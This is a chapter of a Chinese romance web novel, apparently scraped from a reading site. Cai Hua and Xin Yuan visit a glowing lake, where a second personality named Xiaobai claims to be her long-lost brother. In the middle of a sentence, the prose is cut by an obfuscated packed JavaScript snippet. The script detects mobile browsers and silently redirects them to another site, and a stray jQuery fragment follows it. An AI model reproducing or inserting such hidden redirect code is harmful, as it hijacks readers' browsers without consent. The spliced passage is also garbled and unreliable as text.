“不介绍下我吗?”
蔡画:“……”
该摇扇子的是她吧,给她去去火。
蔡画指了下辛渊道:“这是我的……主子。”
辛渊皱了下眉,向裘遐颔首后率先走了出去。
留下蔡画一脸发懵,不满意这个介绍?
蔡画要去找点吃的,虞七要跟着蔡画。
三人行变成四人行。
蔡画路过街角馄饨摊子被馄饨卖相馋得直流口水。
皮薄馅嫩的馄饨扔进热气腾腾的锅里,煮上一小会儿,盛在青瓷大碗里,放点青菜,撒上葱花小菜,淋一勺香油,香气传出二里地。
草棚下亮着几盏煤油灯,暖黄的火光照亮了街道的一角,
四人坐在一张方桌上,一人面前有一碗馄饨。
蔡画呼噜进嘴里一个小馄饨,从嘴里暖进胃里。
接连吃了几个,这饿意终于止住了点。
蔡画问道裘遐:“裘先生,你家里有几口人啊?”
她可没忘记自己要趁这次机会多打听点这人的消息。
裘遐道:“家里父母健在,有兄弟二人。”
“你家住何处?”
裘遐说了个地名,又道:“是个小地方,蔡姑娘可能没听说过,不过我在衡京也置有家产。”
蔡画看了一眼辛渊,意思是他可以在长期待在横京。
“那你家中是做什么的,你又是做什么的?”
“我家中是做生意的,我也算是子承父业,这次来也是在这边有点生意上的事情。生意比较忙,有时不能及时照顾到虞七,感谢蔡姑娘在我不在的日子里对虞七的照顾。”
这个裘遐话说得真是好听。
蔡画像虞七的婆家一样事无巨细的问裘遐问题,差点连裘遐有多少家底都问出来了。
裘遐像是块质朴的玉一般,任人看着,没有半点恼意。
倒是蔡画恼了,语气有点生冷地说:“那你为什么现在才找到虞七?”
虞七只吃了两个馄饨就放下了筷子,蔡画跟裘遐说话的时候也一言不发,在馄饨的热气后安安静静的,偶尔对蔡画或裘遐笑一笑,也不知道在想什么。
裘遐郑重道:“这件事是我的不对,虽然我一直在找虞七,但事实上我就是来晚了,我对不住她。”
他知道蔡画是虞七的朋友,承诺道:“我可以补偿虞七任何事情,”他顿了下又道,“我可以为虞七做任何事情。”
他牵过虞七放在桌子上的手。
虞七微笑着笑了下,忍住心底那一丝想要抽回手的动作。
裘遐道:“我一直欠虞七一个婚礼,等到时有空了,我会补给她一个。”
不知虞七满意了没有,蔡画望向辛渊,后者把那碗晾凉的馄饨推给她。
蔡画:“……”
她“哼”了一声,道:“我吃饱了。”
说是点了四碗馄饨,只有她一个人是来吃饭的。
四人朝知府衙门的方向走去。
裘遐道:“不知大家去过半月洲了没有。”
虞七道:“没有呢。”
蔡画道:“那是什么地方?”
裘遐道:“月腰城之所以叫月腰城是取了半月洲和青腰谷的两个地方的其中一个字。”
这个他们知道。
裘遐又道:“半月洲是一片小洲,这段时间在夜晚可以看到发着蓝色光的洲水,是月腰城的一个奇特的景观。”
“哇!”蔡画道,“这么神奇!”
他们来这光和荣家打交道了,现在还有荣家的问题没有处理完,哪有时间去看什么蓝色的洲水。
辛渊道:“想去吗?”
蔡画道:“想。”不过现在有点晚了,而且半月洲离这里有一段距离。
辛渊道:“想去现在就去,二位一起?”
他看向二人。
裘遐道:“我们今天就不去了,我跟虞七还有些事情。”
发光的水哎,虞七一定很喜欢。
可是夫妻二人那么长时间没见了,说不定想你侬我侬下。
蔡画跟虞七只好跟虞七分手。
两人回知府衙门取了马直奔半月洲。
这地方虽是神奇,不过离人烟处有段距离,又是晚上,极少有人过来。
两人立马站在高处,洲水一览无余。
蓝色发光的洲水如一个流动的夜明珠一样,发出神秘的幽蓝色的光,洲中长着茂盛的芦苇,小小的渔船在芦苇中影影绰绰。
两人拴了马,顺着小道往里走。
蔡画道:“督主,天上弯月的蓝色夜空里,地上弯月是装着蓝色夜空!”
天上月亮的光洒在洲水里,水上的反射进蔡画的眼里,她的眼睛在夜色中闪烁着异常的光彩。
“真好看。”蔡画道。
此时此刻,她应该吟诗一首,可惜搜刮了下她贫瘠的大脑什么也没有。
算了。
辛渊望着蔡画道:“是啊,真好看。”
蔡画这是变得敏锐起来。
他好像不是在说景色,蔡画别扭地扭过头去。
洲水在微风里晃晃悠悠得摇荡,她的心在一根鱼线末端上上下下的弹跳。
辛渊在前面替蔡画开路,她想要去深处,看看有没有更美的风景。
他叹息般的回头道:“小花,我还是更喜欢听你叫哥哥。”
蔡画果断道:“干爹。”
辛渊劈剑斩下前面的枯枝,踩在脚底。
辛渊道:“哥哥不好吗,为什么不喜欢哥哥?”
蔡画嗫嚅道:“不喜欢。”
“什么?”
为什么又问这个问题。
她根本不想回答。
现在连风景都不想看了。
夜晚不好看,洲水不好看,芦苇不好看,月亮不好看……什么都不好看,眼前这个人最难看!
凉爽的山风和躁动的心在心中激烈的相撞。
她猛的甩开他的手:“我说不喜欢!不喜欢!”
辛渊跟蔡画面对面。
蔡画道:“你想听哥哥回家找你自己的妹妹叫去!”
“还有,我不叫小花,我叫蔡画!你要找小花自己找去!”
她现在一定是一条炸鳞的蛇。
“你自己没长嘴吗,还要让我介绍,你跳舞的时候跑得不是挺快的吗?”
悸动借着哭声与抱怨被掩盖。
辛渊吸了气,让自己冷静下来,朝蔡画伸出手:“小花,你不要再后退了,过来!”
蔡画怒道:“我都说了我不叫小花!”
辛渊沉默一瞬,朝蔡画小步过去,道:“好,你先过来。”
蔡画听不见辛渊说什么,只是拼命的想掩饰好像一直被忽视的。
她脱口而出道:“你是个太监!”
她知道辛渊最在意的是什么,专往他心口上扎。
她说出口一愣,颤了颤嘴唇。
完了……
她在说什么。
她只是,只是不想总被他左右一般,总是想到他。
她不自主的往后退了一步。
“啊——”
辛渊纵身抱住蔡画,和她一起滚了下去。
天和地在她眼前转啊转,睁着眼转,闭着眼转,鼻尖却是那缕熟悉的气息。
她后悔了。
他过来接住她的那刻最后悔。
她又不是不知道他有病,就是叫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283945|176704||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他一声。
叫一下会怎么样嘛,说不定他一高兴,还赏点自己值钱的东西。
这片的洲地势极低,辛渊想抓个东西又怕一放蔡画就从自己的怀里掉出去,两人滚了好一段才停下。
洲水近在咫尺,茂盛的芦苇中飘着一叶小舟,小小的像是藏在洲水里的一个小孩子。
蔡画后撤出被迫埋在辛渊怀里的脑袋,那只大手还结实的包裹着她的后脑勺。
蔡画道:“督主,你没事吧。”
“我是哥哥。”
他抱着她道。
“啊?”
又来?这么执着?
他不是非要听一句哥哥才跟着掉下来的吧。
蔡画正要叫一声,又听到他说,“小花,我是哥哥,我是辛渊哥哥。”
什么从长计议,什么徐徐告知,都是骗人的!
再晚一点儿,他的小花就被那个偷包子的拐走了。
他偏要说。
他想让她知道。
“啊?”
她知道他是辛渊啊。
慢着,这个眼神……她埋进去嗅了下。
不对,虽然味道一模一样,但……这感觉不太对。
蔡画四肢挣扎着从他怀里出来:“你不是辛渊。”
对面的人坐起来,缓缓道:“是,我不是辛渊。”
蔡画呼吸一窒,她往滚下来的地方看去,什么人没有。
不是两人一角,也不是那什么偷梁换柱。
她屈膝抱着胳膊,完全不知道作何反应。
她只是直觉上的不确定而已。
等等,辛渊喜欢扮戏!辛渊有病!辛渊……
“我是小白。”
蔡画:“……”
她不可思议地看着眼前的人,他说他是谁。
小白,没听过。
小白给蔡画讲了一个故事。
他在冰天雪地里捡到一个婴儿,他千辛万苦抚养婴儿长大,然而他又在巷子里捡到一个小男孩,这个小男孩的魂魄抢了他的身体,抢了他的妹妹。
蔡画道:“你是小白,辛渊是谁?”
小白道:“我原来就叫辛渊,辛渊把我的名字抢过去了,给我取名叫小白。”
“为什么叫你小白?”
小白悄悄靠近蔡画:“因为,他觉得我做事情不如他,他觉得我是白痴。”
很像辛渊的风格。
蔡画懵懵道:“证据呢?”
小白比划着:“你这么大的时候,我去邻居家给你要羊奶,一喝到羊奶你就不哭了……你这么大的时候,还嚷着要吃西瓜。”
蔡画道:“那辛渊呢?”
小白道:“他想抢走你。”
小白跟蔡画说了很多。
蔡画不由想,他是有道理的。
这样的话,从她第一次遇见辛渊,辛渊就非要带她走,就说得通了。
都能说得通,没有证据。
小白牵了牵蔡画的小拇指。
自从那次之后,他很久不敢出来面对蔡画,可再不出来他家的白菜真的要被某个不要脸的东西拱走了。
小白道:“你叫辛小花。”
小花?
她叫小花?
那个人唤她时的模样出现在脑海。
这也能说得通,这太能说得通了。
难怪他一直叫她小花,难怪他要让她叫哥哥……
不对,她不是人,她是蛇。
她是一条蔡画蛇。
蔡画晕晕乎乎的,脑袋涨得无限大,那张熟悉的脸变得模糊不清。
她骤然起身。
小白还没来得及反应,就见蔡画跳上洲面的一叶小船,手捣腾着撑开了竹浆。